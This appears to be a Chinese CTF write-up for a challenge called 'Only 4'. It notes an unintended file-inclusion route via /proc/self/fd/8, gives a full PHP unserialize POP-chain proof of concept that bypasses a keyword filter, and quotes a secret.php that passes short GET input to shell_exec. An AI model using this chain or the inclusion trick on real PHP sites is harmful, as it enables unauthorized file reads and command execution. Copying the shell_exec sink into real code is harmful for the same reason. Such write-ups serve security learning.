C
C
CTF-WriteUp
Search
⌃K

Only 4

非预期就是直接文件包含/proc/self/fd/8日志文件然后直接读flag。
预期的话我觉得有点扯,先是你得先知道有serialize.php这么一个文件,全靠扫描
然后写poc,这里的链子很简单,按顺序写下来的。
<?php
class start_gg
{
public $mod1;
public $mod2;
public function __construct($mod1) {
$this->mod1 = $mod1;
}
public function __destruct()
{
$this->mod1->test1();
}
}
class Call
{
public $mod1;
public $mod2;
public function __construct($mod1) {
$this->mod1 = $mod1;
}
public function test1()
{
$this->mod1->test2();
}
}
class funct
{
public $mod1;
public $mod2;
public function __construct($mod1) {
$this->mod1 = $mod1;
}
public function __call($test2,$arr)
{
$s1 = $this->mod1;
$s1();
}
}
class func
{
public $mod1;
public $mod2;
public function __construct($mod1) {
$this->mod1 = $mod1;
}
public function __invoke()
{
$this->mod2 = "字符串拼接".$this->mod1;
}
}
class string1
{
public $str1;
public $str2;
public function __construct($str1)
{
$this->str1 = $str1;
}
public function __toString()
{
$this->str1->get_flag();
return "1";
}
}
class GetFlag
{
public function __construct()
{
}
public function get_flag()
{
echo highlight_file('serialize.php');
}
}
$getflag = new GetFlag();
$string1 = new string1($getflag);
$func = new func($string1);
$funct = new funct($func);
$call = new Call($funct);
$start_gg = new start_gg($call);
echo serialize($start_gg);
生成的链子Flag被过滤,改成小写可以绕过。读secret.php的源码
<?php
error_reporting(0);
if(strlen($_GET['SXF'])<5){
echo shell_exec($_GET['SXF']);
}
?>
这里是一个短命令执行,CTF-show有出过类似的题目,可以参考一下他们的文章。
Last modified 8mo ago